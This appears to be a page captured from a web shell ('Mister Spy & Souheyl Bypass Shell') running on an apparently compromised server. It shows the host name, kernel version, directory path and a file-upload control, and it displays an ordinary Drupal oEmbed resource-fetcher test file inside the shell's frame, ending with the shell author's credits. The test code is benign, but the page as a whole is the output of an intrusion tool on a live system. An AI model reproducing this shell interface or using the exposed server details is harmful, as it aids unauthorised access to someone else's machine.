Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor1/web/core/modules/media/tests/src/Functional/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor1/web/core/modules/media/tests/src/Functional/ResourceFetcherTest.php

<?php

declare(strict_types=1);

namespace Drupal\Tests\media\Functional;

use Drupal\media\OEmbed\Resource;
use Drupal\Tests\media\Traits\OEmbedTestTrait;

// cspell:ignore dailymotion Schipulcon

/**
 * Tests the oEmbed resource fetcher service.
 *
 * @coversDefaultClass \Drupal\media\OEmbed\ResourceFetcher
 *
 * @group media
 */
class ResourceFetcherTest extends MediaFunctionalTestBase {

  use OEmbedTestTrait;

  /**
   * {@inheritdoc}
   */
  protected $defaultTheme = 'stark';

  /**
   * {@inheritdoc}
   */
  protected function setUp(): void {
    parent::setUp();
    $this->useFixtureProviders();
    $this->lockHttpClientToFixtures();
  }

  /**
   * Data provider for testFetchResource().
   *
   * @return array
   */
  public static function providerFetchResource() {
    return [
      'JSON resource' => [
        'video_vimeo.json',
        'Vimeo',
        'Drupal Rap Video - Schipulcon09',
      ],
      'XML resource' => [
        'video_dailymotion.xml',
        'Dailymotion',
        "#d8rules - Support the Rules module for Drupal 8",
      ],
    ];
  }

  /**
   * Tests resource fetching.
   *
   * @param string $resource_url
   *   The URL of the resource to fetch, relative to the base URL.
   * @param string $provider_name
   *   The expected name of the resource provider.
   * @param string $title
   *   The expected title of the resource.
   *
   * @covers ::fetchResource
   *
   * @dataProvider providerFetchResource
   */
  public function testFetchResource($resource_url, $provider_name, $title): void {
    /** @var \Drupal\media\OEmbed\Resource $resource */
    $resource = $this->container->get('media.oembed.resource_fetcher')
      ->fetchResource($resource_url);

    $this->assertInstanceOf(Resource::class, $resource);
    $this->assertSame($provider_name, $resource->getProvider()->getName());
    $this->assertSame($title, $resource->getTitle());
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net